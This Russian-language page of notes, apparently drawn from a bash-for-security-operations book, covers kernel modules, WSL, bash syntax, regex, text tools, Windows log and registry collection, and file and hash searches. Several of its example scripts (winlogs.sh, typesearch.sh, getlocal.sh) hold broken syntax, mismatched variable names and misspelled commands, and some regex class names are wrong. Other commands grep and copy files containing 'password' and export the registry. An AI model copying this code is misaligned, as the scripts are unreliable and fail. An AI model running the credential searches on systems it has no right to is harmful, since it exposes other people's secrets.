EFI загрузочного раздела и флешек fuse = для многих пользовательских ФС (sshfs, rclone и др.) cifs = для сетевых шаров Windows/Samba Критичные для безопасности/шифрования dm_crypt = для зашифрованных дисков (LUKS) aesni_intel = ускорение шифрования на Intel/AMD процессорах evdev = для устройств ввода (клавиатуры/мыши в GUI) Специальные, но часто необходимые wireguard = современный VPN (если используется) kvm_intel/kvm_amd = для виртуализации KVM vfio_pci = для проброса PCI устройств в VM (GPU passthrough) nfs = для сетевых файловых систем NFS Самый минимальный список "если система не грузится после обновления ядра" (Эти модули часто встроены в ядро, но если ядро собрано модульно, то нужны): Для диска: ext4 + sd_mod + ahci/nvme Для сети: e1000e/r8169/virtio_net Для USB: xhci_hcd + usb_storage + usbhid Для LVM/шифрования: dm_mod + dm_crypt (если используется) Для загрузки: vfat (EFI раздел) |
wsl
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 |
0. Установка WSL (всё одной командой) wsl —install 1. WSL 1 или WSL 2? wsl —set-default-version 2 | | WSL 1 | WSL 2 | |--------------------|---------------------------|-------| | Ядро | Эмуляция | Реальное Linux-ядро | Производительность | Быстрее на Windows-диске | Лучше на Linux-утилитах | Совместимость | Ограниченная | Почти 100% | | Поддержка Docker | x | y | GUI-приложения | x | y (в Windows 11) 2. Работа с файлами и системами Доступ к Windows-дискам: /mnt/c/Users/... Поддержка Git, Python, Node, npm, pip, apt 3. Можно запускать команды Windows внутри Linux и наоборот: notepad.exe test.txt 4. Настройка терминала Установи Windows Terminal из Microsoft Store — это красивый и мощный терминал с вкладками, шрифтами и темами. 5. Обновление WSL и Linux-дистрибуции wsl —update wsl —shutdown 6. Внутри Ubuntu: sudo apt update && sudo apt upgrade -y 7. Установка других дистрибутивов WSL поддерживает Ubuntu, Debian, Kali, Arch, SUSE и другие: wsl —list —online wsl —install —distribution Debian 8. Поддержка GUI и Docker В Windows 11 WSL 2 поддерживает графические приложения Linux из коробки (через WSLg). Docker Desktop работает напрямую с WSL 2 — больше не нужны громоздкие VM. 9. Дополнительные фичи .wslconfig для настройки ресурсов (CPU, RAM, swap) Автоматический mount директорий Работа с systemd, crontab, background-сервисами (в новых версиях) |
Основы:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 |
Командная строка - это общий термин, относящимся к средствам, передающим команды в интерактивную систему компьютера. Создать директорию: mkdir -p /tmp/fff Тип файла: type -t if type -t pwd type -t ls Посмотреть какие команды встроены в интерпретатор: compgen -k compgen -c compgen -b Стандартный ввод / вывод / ошибки 0 - Стандартный ввод (stdin) — поток данных, который программа получает на вход (по умолчанию — клавиатура). 1 - Стандартный вывод (stdout) — поток, в который программа записывает результаты (по умолчанию — терминал). 2 - Стандартный поток ошибок (stderr) — поток, куда выводятся сообщения об ошибках (по умолчанию — терминал). Перенаправление stdout: Оператор > позволяет записать вывод команды в файл. Если файл существует, он будет перезаписан. ls > output.txt Оператор >> добавляет вывод в конец файла, не перезаписывая его. echo "Hello" >> output.txt Чтобы перенаправить поток ошибок в файл, используется 2>. ls /nonexistent 2> errors.txt 2>> добавляет ошибки в конец файла: ls /nonexistent 2>> errors.txt Игнорирование ошибок: command 2> /dev/null Запись вывода и ошибок в один файл: command > output.txt 2>&1 Раздельная запись stdout и stderr: command > output.txt 2> errors.txt Отправка всех данных в «черную дыру»: command > /dev/null 2>&1 Сделать все одной строкой: prog < data.in > result.out 2> errr.msg Иногда требуется что бы программа выводила ошибки и вывод в один файл (обычный вывод программы) prog < data.in > result.out 2>&1 Выполнение команд в фоновом режиме: ping 192.168.10.56 > ping.log & ping 192.168.10.56 &> ping.log & jobs fg 1 crtrl+z Скрипты #!/bin/bash - шабанг, первая строка любого скрипта на баш #!/usr/bin/env bash - или такой шабанг(первая строка) позволит найти путь для баша bash myscript chmod 755 myscript ./myscript |
Основы работы:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 |
echo "Hello world" printf "Hello world\n" Переменные: MYVAR=textmyvar echo $MYVAR Если вы хотите присвоить переменной и сохранить последовательность слов, пробелов и спец символов: MYVAR='here is a longer set of worlds' OTHVAR="either double or single quotes will work" Двойные кавычки позволит выполнять другие элементы внутри строки: FIRSTVAR=beginning SECONDVAR="this is just the $FIRSTVAR" echo $SECONDVAR echo ${SECONDVAR} !!! Помните что при использовании двойных кавычек (") любые замены, начинающиеся с $, все равно выполняются, а если значения находятся внутри одинарных кавычек ('), никаких замен не будет. Сохранить вывод, полученный командной оболочки, с помощью символа $(): CMDOUT=$(pwd) Позиционные параметры: $# - возвращает общие кол-во параметров $0 - имя скрипта $1 - первый параметр $2 - второй параметр $3 - третий параметр #!/bin/bash #echoparms.sh <param 1> <param 1> <param 1> echo $# echo $0 echo $1 echo $2 echo $3 Условия: Успешное выполнение скрипта возвращает 0. Возвращаемое значение 0 считается success или true. Для того что бы увидеть как выполнилась команда, нужно посмотреть переменную $?: echo $? Пример условий if: if cmd then some cmds else other cmds fi Если каталог /tmp есть(в него возможен переход) то будет возращено 0 и выполнена команда ls: if cd /tmp then echo "her eis what is in /tmp:" ls -l fi Пример конвейера if: if ls | grep pdf then echo "found more pdf" else echo "no found pdf" fi Но есть нюанс если использовать с wc в конвейере: ls | grep pdf | wc Будет всегда возращено 0 Команда test и [, проверка атрибутов файлов или сравнения значений. Проверка файлов и каталогов: -d - проверка существования каталога -у - проверка существования файла -r - проверка существования файла и доступен ли он для чтения -w - проверка существования файла и доступен ли файл для записи -x - проверка существования файла и можно ли файл выполнить Проверка существования файла: if [[ -e $FILENAME ]] then echo $FILENAME exists fi Сравнение файлов или переменных: -eq - тест на равенство -gt - проверка, больше ли одно число, чем другое -lt - проверка, меньше ли одно число, чем другое Проверка меньше ли $VAL чем $MIN if [[ $VAL -lt $MIN ]] then echo "value is to small" fi !!! Внимание, да можно использовать знаки больше или меньше, но эффект может быть не ожиданым !!! Так что рекомендуется использовать -eq, -gt, -lt !!! Но если хочется, то можно использовать специальную математическую конструкцию из скобок (( )) !!! Оператор $ не требуется в этой конструкции if (( VAL < 12 )) then echo "value $VAL is to small" fi Последовательное выполнение команд с использование оператора ; Пример: cd $DIR; ls Специальная команда &&, если первая команда выполнилась успешно, то дальше будет выполнятся следующая команда: cd /etc/ && ls /etc && ls /etc/ | wc Специальная команда ||, если первая команда не выполнилась успешно то выполнится следующая команда. Команды [[ можно выполнять без конструкции if [[ -d $DIR ]] && ls "$DIR" Аналог вот такой записи: if [[ -d $DIR ]] then ls "$DIR" fi Вот еще примеры: [[ -d $DIR ]] || echo "err: no such directory: $DIR"; exit [[ -d $DIR ]] || { echo "err: no such directory: $DIR" ; exit; } Циклы while ( пока i меньше 1000, выполняем цикл) i=0 while (( i < 1000)) do echo $i let i++ done Цикл while выполняет команды как часть своего условия: while ls | grep -q pdf do echo -n 'there is a file with pdf in lts name here:' pwd cd .. done Циклы for: for ((i=0; i < 100; i++)) do echo $i done Еще for: ./args.sh bash is fun for ARG do echo here is an argument: $ARG done Еще far список: for VAL in 20 3 dog peach 7 vanilla do echo $VAL done Еще список можно генерировать используя другие программы, пример: for VAL in $(ls | grep pdf) {0..5} do echo $VAL done Функции и свои функции: function myfun () { # это тело функции } Выполнение своей функции: myfun Шаблоны подстановки и перечисление / wildcarding Символ "звездочка" (*) является шаблоном для любого количества любых символов в именах файлов и даже для их отсутствия. Единственный символ, который не удовлетворяет этому шаблону, — лидирующая точка в именах скрытых файлов. Таким образом, подставив звездочку в качестве аргумента команде echo, мы либо увидим в результате саму звездочку, если в каталоге нет файлов, либо оболочка подставит команде echo имена всех файлов в каталоге в командную строку. Имеются особенные имена файлов, начинающиеся с точки, например, .bashrc. Такие файлы называются скрытыми, т. к. их имена не выводятся командой ls без специальных опций. Шаблоном для имен скрытых файлов является .* (точка и звездочка). Вообще, любые шаблоны для скрытых файлов должны начинаться с символа "точка". Символ ? заменяет один символ в имени файла, который должен находиться в той позиции, где находится знак вопроса. В примере "echo .??????" получен список скрытых файлов (имена начинаются с точки), в именах которых после точки имеется шесть любых символов. Для того чтобы указать допустимый диапазон символов в шаблоне, необходимо использовать квадратные скобки, а в них — требуемый диапазон. Например, [0-9] — шаблон подходит для любых цифр, а [a-zA-Z], шаблон для букв английского. echo .[bcd]* Если необходимо указать набор символов, не входящих во множество, следует установить знак восклицания после открывающей скобки. Например, [!abc] — множество любых символов, кроме a, b или c. Очень удобен, хотя и не относится к шаблонам, механизм перечисления Bash. Он позволяет задать множество вариантов, которое должна перебрать оболочка, составляя последовательно все варианты, заданные в фигурных скобках echo .bash{rc,_profile} точка . - любой один символ ? - любой один символ * - любое кол-во символов а* - a, ab, abc и aecjejich ^ - начало строки $ - конец строки ^а - Любое «а», находящееся в начале строки *а$ - Любое «а», находящееся в конце строки а.с - Трехсимвольные строки, начинающиеся с «а» и заканчивающиеся на «с» [] - диапазон [^a] - прикол в таких скобках с "^" все что угодно только не "a" [^0-9] [^[:alnun:]] [bcf]at - bat, cat или fat [a-d]at - aat, bat, cat, dat, но не Aat, Bat и т. д. [A-D]at - Aat, Bat, Cat и Dat, но не aat, bat и т. д. 1[3-5]7 - 137,147 и 157 [0-9] [[:digit:]] \d \D [a-z] [A-Z] [a-zA-Z0-9] [[:alnun:]] \w \W [[:space:]] \s \S [A-Z] - большие буквы [0-9] - цифры [a-z] - мелкие буквы [A-Za-z] www\.[a-z]*\.com [:alnum:] - алфавитно цифровой [:alpha:] - Буквенный [:ascii:] - ASCII [:blank:] - пробел и символ табуляции [:ctrl:] - управляющий символ [:digit:] - число [:graph:] - все что угодно, кроме управляющих символов и пробелов [:lower:] - символы в нижнем регистре [:print:] - все кроме управляющих символов [:punct:] - символы пунктуации [:space:] - пробелы, включая разрывы строк [:upper:] - символы в верхнем регистре [:world:] - буквы, цифры и символы подчеркивания [:xdigit:] - шестнадцатеричный символ d{n,m} - квантификатор {} - последовательность touch {6,7,8}.txt - последовательно создаст файлы 6.txt, 7.txt, 8.txt grep -E '[0-9]{1,3}' \tHello - Символ табуляции, предшествующий слову hello \[tT][xX][Tt] - .txt, .TXT, .TxT или другие сочетания на основе изменения регистра \n - новая строка \r - символ возврата Мата символ * Некоторые мета символы сами по себе не соответствуют ничему, но изменяют значение предыдущего символа. Один из таких символов, это * (звездочка), который используется для сопоставления нулевому или большему числу повторений предшествующего символа. Заметьте, это значит, что * имеет другое значение в регулярках, нежели в глоббинге. Вот несколько примеров, и обратите особое внимание на те случаи где сопоставление регулярных выражений отличается от glob-подстановок: ab*c совпадает с «abbbbc», но не с «abqc» (в случае glob-подстановки, обе строчки будут удовлетворять шаблону. Вы уже поняли почему?) ab*c совпадает с «abc», но не с «abbqbbc» (опять же, при glob-подстановке, шаблон сопоставим с обоими строчками) ab*c совпадает с «ac», но не с «cba» (в случае глоббинга, ни «ac», ни «cba» не удовлетворяют шаблону) b[cq]*e совпадает с «bqe» и с «be» (glob-подстановке удовлетворяет «bqe», но не «be») b[cq]*e совпадает с «bccqqe», но не с «bccc» (при глоббинге шаблон точно так же совпадет с первым, но не со вторым) b[cq]*e совпадает с «bqqcce», но не с «cqe» (так же и при glob-подстановке) b[cq]*e удовлетворяет «bbbeee» (но не в случае глоббинга) .* сопоставим с любой строкой (glob-подстановке удовлетворяют только строки начинающиеся с ".") foo.* совпадет с любой подстрокой начинающийся с «foo» (в случае glob-подстановки этот шаблон будет совпадать со строками, начинающимися с четырех символов «foo.») Итак, повторим для закрепления: строчка «ac» подходит под регулярное выражение «ab*c» потому, что звездочка также позволяет повторение предшествующего выражения (b) ноль раз. И опять, ценно отметить для себя, что мета символ * в регулярках интерпретируется совершенно иначе, нежели символ * в glob-подстановках. |
Регулярные выражения:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 |
grep -c - вывести кол-во строк, соответствующего шаблону -E - включить расширенное регулярное выражение -f - читать шаблон поиска, находящийся в предоставленном файле -i - игнорировать регистр символов -l - вывести только имя файла и путь, по которому был найден шаблон -n - вывести номер строки файла, в которой был найден шаблон -P - включить механизм регулярных выражений Perl -R, -r - выполнить рекурсивный поиск подкаталогов Пример: grep -R -i 'password' /home egrep это grep -E Пример текса file.txt для работы с grep: 1 Two roads diverged in a yellow wood, 2 And sorry I cloud not travel both 3 And be one traveler, long I stood 4 And looked down one as far as I could 5 To where it bent in the undergrowth; 6 7 Excerpt from The Road Not Taken by Robert Frost 8 User: XTjon 9 XWING model 7 10 an an an Метасимвол . В регулярных выражения точка (.), представляет собой один символ подстановки grep 'T.o' file.txt Если требуется отобразить точку, не как любой символ, нужно перед ним поставить обратный слеш (\), так (\.) Метасимвол ? В регулярном выражении знак вопроса (?) делает любой предшествующей ему символ необязательным, символ сопоставляется один раз, а дальше игнорируется. egrep 'T.?o' file.txt Метасимвол * В регулярных выражениях звездочка (*) - это специальный символ, который соответствует предыдущему элементу неограниченное кол-во раз. grep 'T.*o' file.txt Метасимвол + Метасимвол плюс (+) работает так же, как и *, за исключением того, что предыдущий ему элемент должен встретиться хотя бы однажды. egrep 'T.+o' file.txt Группирование Для группирования символов можно использовать скобки. egrep 'And be one (stranger|traveler), long I stood' file.txt Квадратные скобки и классы символов [abc] - соответствует только символу a, или b, или c [1-5] - соответствует цифрам от 1 до 5 [a-zA-Z] - соответствует любым символа от a до z [0-9+-*/] - соответствует числам или любым четырем указанным математическим символам [0-9a-fA-F] - соответствует шестнадцатеричному символу \s - пробельный символ \S - не пробельный символ \d - цифровой символ \D - не цифровой символ \w - слово \W - не слово \x - шестнадцатеричное число (например, 0x5F) !!! Обратите внимания эти сокращения работаю только с опцией -P, Perl grep -P '\d' file.txt [:alnum:] - алфавитно цифровой [:alpha:] - Буквенный [:ascii:] - ASCII [:blank:] - пробел и символ табуляции [:ctrl:] - управляющий символ [:digit:] - число [:graph:] - все что угодно, кроме управляющих символов и пробелов [:lower:] - символы в нижнем регистре [:print:] - все кроме управляющих символов [:punct:] - символы пунктуации [:space:] - пробелы, включая разрывы строк [:upper:] - символы в верхнем регистре [:world:] - буквы, цифры и символы подчеркивания [:xdigit:] - шестнадцатеричный символ grep 'X[[:upper:][:digit:]]' file.txt Обратные ссылки: tags.txt Commmand <i>line</i> is <div>great</div> <u>!</u> Пример вытаскиваем код: egrep '<([A-Za-z]*)>.*</\1>' tags.txt Якоря и границы слов: Символ каретки (^) предназначен для привязки шаблона к началу строки. Символ доллар $ используется для привязки шаблона к концу последовательности строки. Сайты для работы с регулярками: http://www.rexegg.com https://regex101.com https://www.regextester.com http://www.regular-expressions.info |
cut
|
1 2 3 4 5 6 7 8 9 10 |
cut - используется для извлечения частей файла -c - символ для извлечения -d - символ, используемый в качестве разделителя полей, по умолчанию символ табуляции. -f - поля для извлечения Пример: cutefile.txt 12/05/2025 10.33.66.3 test.html 12/05/2025 17.14.13.3 loging.html cut -d' ' -f2 cutefile.txt |
file
|
1 2 3 4 5 6 7 |
file - используется для идентификации типа файла -f - читать список файлов для анализа из данного файла -k - не останавливается на первом совпадении, перечислить все -z - просмотреть сжатые файлы Пример: file filename.un |
head
|
1 2 3 |
head - отобразит несколько первых строк или бит, по умолчанию 10 -n - кол-во строк -c - количество байтов |
reg
|
1 2 3 4 5 6 7 |
reg - используется в winpws, для работы с реестром add - добавить запись в реестор export - копировать указанные записи реестра в файл query - возвратить список подразделов ниже указанного пути Пример: reg query HKEY_LOCAL_MACHINE |
wevtutil
|
1 2 3 4 5 6 7 8 9 10 11 12 |
wevtutil - просмотр системных журналов в windows el - перечислить доступные журналы qe - запросить события журнала Общие команды: /c - максимальное событие для чтения /f - форматирование вывода в виде текста или XML /rd - если установлено в true то сначала прочитать свежие события Примеры wevtutil el wevtutil qe System //c:1 //rd:true wevtutil qe System /c:1 /rd:true |
Собираем файлы журнала Linux
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
tar -czf ${HOSTNAME}_logs.tar.gz /var/log Параметры: -c - create - создание для создания архивного файла -z - zip - архивирование -f - file - указание имени файла ${HOSTNAME} - переменная баш, текущие имя хоста Логи: /var/log/apache2/ - журналы доступа и ошибок для вебсервера apache2 /var/log/auth.log - сведения о входе пользователя в систему, привилегии доступа и удаленная проверка подлинности /var/log/kern.log - журнал ядра /var/log/messages - общая не критическая системная информация /var/log/syslog - общие системные журналы конфиги: /etc/syslog.conf /etc/rsyslog.conf |
Собираем файлы журналов Windows
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 |
Для скрипта на баш используется git bash. Пример скрипта: #!/bin/bash # # winlogs.sh # Описание: # Собираем логи windows # Использование: # winlogs.sh [-z] # -z заархивировать вывод # TGZ=0 if (( $# > 0 )) then if [[ ${1:0:2} == '-z']] then TGZ=1 shift f1 SYSMAN=$(hostname) LOGDIR=${1:-/tmp/${SYSMAN}_logs} mkdir -p $LOGDIR cd ${LOGDIR} || exit -2 wevtutil el | while read ALOG do ALOG="${ALOG%$'\r'}" echo "${ALOG}:" SAFNAM="${ALOG// /_}" SAFNAM="${SAFNAM//\//-}" wevutil epl "$ALOG" "${SYSNAM}_${SAFNAM}.evtx" done if (( TGZ == 1 )) then tar -czvf ${SYSNAM}_logs.tgz *.evtx fi |
Сбор информации о системе
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
linux bash windows git bash Что? uname -a uname -a Показать информацию о версии ОС cat /proc/cpuinfo systeminfo Вывести сведения о системном оборудовании и связанную информацию ifconfig ipconfig Вывести информацию о сетевом интерфейсе route route print Показать таблицу маршрутизации arp -a arp -a Вывести таблицу ARP ( протокол определения адреса) netstat -a netstat -a Отобразить сетевые подключения mount net share Вывести информацию о файловых системах ps -e tasklist Отобразить запущенные процессы файл cmds.txt # Linux Command | MSWin Bash | XML tag | Purpose #-----------------+-------------+-----------+------------------ uname -a | uname -a | uname | O.S. ver cat /proc/cpuinfo | systeminfo | sysinfo | sysinfo ifocnfig | ipconfig | interface | Network info ip -a | ipconfig | interface | Network info route | route print | nroute | routing table arp -a | arp -a | narp | arp table netstat -a | netstat -a | netstat | network connection ss -a | netstat -a | netstat | network connection mount | net share | diskinfo | mounter disk ps -e | task list | processes | running processes |
Сценарий определения типа OS
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 |
getlocal.sh #!/bin/bash # # Описание: # Собираем основную информацию о системе и сбрасываем в файл # Использование: # getlocal.sh < cmds.txt # cmds < этот файл со списком команд для выполнения # # SepCmds - отделение команд от строки ввода function SepCmds() { LCMD=${ALINE%%|*} REST=${ALINE#*|} WCMD=${REST%%|*} REST=${RST#*|} TAG=${REST%%|*} if [[ $OSTYPE == "WsWin" ]] then CMD="$WCMD" else CMD="$LCMD" fi } function DumpInfo() { printf 'systeminfo host="%s" type="%s"' "$HOSTNAME" "$OSTYPE" printf ' date="%s" time="%s">\n' "$(date '+%F')" "$(date '+%T')" readarray CMDS for ALINE in "${CMDS[@]}" do # игнорировать комментарии if [[ ${ALINE:0:1} == '#' ]] ; then continue ; fi SepCmds if [[ ${CMD:0:3} == N/A ]] then continue else printf "<%s>\n" $TAG $CMD printf "</%s>\n" $TAG fi done printf "</systeminfo>\n" } OSTYPE=$(./osdetect.sh) HOSTNM=$(hostname) TMPFILE="${hostname}.info" # сбор информации DumpInfo > $TMPFILE 2>&1 |
Сбор данных о реестре Windows
|
1 2 3 4 5 |
Экспорт всего реестра: regedit //E ${HOSTNAME}_reg.bak Экспорт раздела: reg export HKEY_LOCAL_MACHINE $(HOSTNAME)_hklm.bak |
Поиск файлов в системе:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 |
find grep find /home -name '*password*' find /home -name '*password*' 2>/dev/null Поиск скрытых файлов в linux: find /home -name '.*' Поиск скрытых файлов в windows: dir c:\ /S /A:H Поиск и запуск команды: find /c -exec attrib '{}' \; | egrep '^.{4}H.*' Найти и показать путь к файлу: find . -exec attrib '{}' \; | egrep '^.{4}H.*' | cut -c22- Поиск по размеру файла: find /home -size +5G Чтобы определить самые большие файлы в системе: find /type f -exec ls -s '{}' \; | sort -n -r | head -5 Предположим, что вы только что выполнили следующую команду: find / -type f -exec ls -s '{}' \; Затем чтобы снова запустить ее или передать в конвейер, вы можете использовать символы !!: !! | sort -n -r | head -5 Можно найти большой файл не используя find: ls / -R -s | sort -n -r | head -5 Поиск по времени: Менее 5 мин: find /home -nmin -5 Менее 24 часов: find /home -mtime -1 Менее 48 часов: find /home -mtime +2 Доступ к файлу менее 24 часов find /home -atime -1 Для поиска файлов в каталоге, доступных менее 24 часов и копирования каждого файла в текущий каталог "./": find /home -type f -atime -1 -exec cp '{}' ./ \; Поиск контента: Найти строку 'password': grep -i -r /home -e 'password' Комбинирование команды find и grep: find /home -type f -exec grep 'password' '{}' \; -exec cp '{}' . \; |
Поиск по типу файла:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 |
file title.png Сценарий typesearch.sh #!/bin/bash # Описание: # Поиск в файловой системе файлов указанного типа. # Выводим путь, когда найдем # Использование: # typesearch.sh [-c dir] [-i] [-R|r] <pattern> <path> # -c Копировать найденные файлы в каталог # -i Игнорировать регистр # -R|r Рекурсивный поиск подкаталогов # <pattern> Шаблон типа файла для поиска # <path> Путь для начала поиска DEEPPORNOT="-maxdepth 1" # только текущий каталог; по умолчанию while getopts 'c:irR' opt; do case "${opt}" in c) # копировать найденные файлы в указанный каталог COPY=YES DISTDIR="$OPTARG" ;; i) # игнорировать регистр при поиске CASEMATCH='-1' ;; [Rr]) # рекурсивно unset DEEPPORNOT;; *) # неизвестный/неподдерживаемый вариант # при получении ошибки mesg от gretops просто выйти exit 2;; esac done shift $((OPTIND -1)) PATTERN=${1;-PDF document} STARTDIR=${2:-.} # по умолчанию начать здесь find $STARTDIR $DEEPORNOT -type f | while read FN do file $FN | egrep -q $CASEMATCH "$PATTRERN" if (( $? ==0 )) # найден один then echo $FN if [[ $COPY ]] then cp -p $FN $DESTDIR fi fi done |
Поиск по хеш-значению
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
hashsearch.sh #!/bin/bash # Описание: # В указанном каталога выполняем рекурсивный поиск # файла по заданному SHA-1 # Использование: # hashsearch.sh <hash> <directory> # hash - значение хеша SHA-1 разыскиваемого файла # directory - каталог для поиска HASH=$1 DIR=${2:-.} # cmd, по умолчанию это сдесь # конвертируем путь в абсолютный function mkabspath() { if [[ $1 == /* ]] then ABS=$1 else ABS="$PWD/$1" fi } find $DIR -type f | while read fn do THISONE=$(sha1sum "$fn") THISONE=${THISONE%% *} if [[ $THISONE == $HASH ]] then mkabspath "$fn" echo $ABS fi done |
Обработка данных:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 |
sed tail tr файл awkuser.txt: Mike Jones John Smith Kathy Jones Jane Kennedy Tim Scott awk - фактически комбайн для обработки текста -f - читать указанный файл $0 - вся строка $1 - первое слово $2 - второе слово $N - и т.д. Пример: awk '$2 == "jones" {print $0}' awkusers.txt файл username.txt: 1,jdoe 2,puser 3,jsmith файл accesstime.txt: 0745,file1.txt,1 0830,file3.txt,2 0830,file22.txt,3 join - объединяет строки из двух фалов с общими полями -j - использовать указанный номер поля. Поля начинаются с 1 -t - символ, который будет использоваться в качестве разделителя --header - использовать в качестве заголовка Пример: join -1 3 -2 1 -t, accesstime.txt username.txt файл ips.txt ip,OS 10.0.4.2,Windows 8 10.0.4.35,Ubuntu 16 10.0.4.107,macOS 10.0.4.145,macOS sed - редактирование и замена текста в потоке файлов Пример: sed 's/10\.0\.0.\.35/10.0.4.27/g' ips.txt tail - вывод последних строк файла -f - выполнять постоянный мониторинг файлов и выходных строк по мере их добавления. -n - вывести указанное кол-во строк Пример: tail -n 1 ips.txt tr - преобразование одного символа в другой или отображения замещающего символа. -d - удалить указанные знаки из входного потока -s - уплотнить, то есть заменить повторяющиеся экземпляры символа одним экземпляром Пример: tr '\\:' '/|' < infile.txt > outfile.txt Пример файла csvex.txt "name","username","phone","password hash" "john Smith", "jsmith","545-555-1212",234u923923u9u9fho8fgw87g8w7 "Bill Smith", "bsmith","555-555-1512",s99ds9uewurwyroyrdsyhfdishf "Jane Smith", "jsmith","155-555-1212",qwepiju0sdfjm238rh30r8j2p0w "john LAH", "bjones","525-555-1212",odjfohsohfio7bhbfsodsbodfsbds "Yohn Ymith", "ymith","355-555-1212",kdskldfsdshuidyusbhudshdfsy3 cut - используется для извлечения из входного файла или потока, полей разделенных указанным символом. (попробуйте echo 'abc def ghi jkl' | cut -d ' ' -f2,2 прим. пер.) cut - показать содержимое вырезав символы cut -c 1,4,7 name.txt - показать содержимое вырезав символы cat /etc/passwd | cut -f 1,3,6 -d ':' - показать содержимое 1,3,6 столбика вырезав 2,4,5 разделенные символом ':' Примеры: cut -d',' -f1 csvex.txt cut -d',' -f1 csvex.txt | tr -d '"' cut -d',' -f1 csvex.txt | tr -d '"' | tail -n +2 awk -F "," '{print $4}' csvex.txt grep "$(awk -F "," '{print $4}' csvex.txt)" passwords.txt cut -d',' -f3 csvex.txt | cut -c2-13 | tail -n +2 grep -o '<firstName>.*<\/firstName>' book.xml grep -Pzo '(?s)<author>.*?<\/author>' book.xml grep -Po '<firstName>.?<\/firstName>' book.xml | sed 's/<[^>]*>//g' grep -o '"firstName": ".*"' book.json grep -o '"firstName": ".*"' book.json | cut -d " " -f2 | tr -d '\"' jq - это мощный легкий и JSON-анализатор jq '.title' book.json jq '.authors[].firstName' book.json Агрегирование данных: find /data -type f -exec grep '{}' -e 'ProductionWebServer' \; -exec cat '{}' >> ProductionWebServerAgg.txt \; join -t, -2 2 ips.txt user.txt Ссылка: https://rapidcyberops.com/ |
Анализ данных:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
sort - сортировка текстового файла -r - сортировка по убыванию -f - игнорировать регистр -n - использовать числовой порядок 1, 2, 3 и т.д. -k - сортировать на основе подмножества данных (ключа) в строке -o - записать вывод в указанный файл -u - фильтр уникальности Пример: sort -k 3 file1.txt sort -k 2.5,2.7 file1.txt uniq - отфильтровать повторяющиеся строки -c - вывести, сколько раз повторяется строка -f - перед сравнением проигнорировать указанное кол-во полей -i - игнорировать регистр букв |
Ознакомление с журналом доступа к веб серверу Apache2
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 |
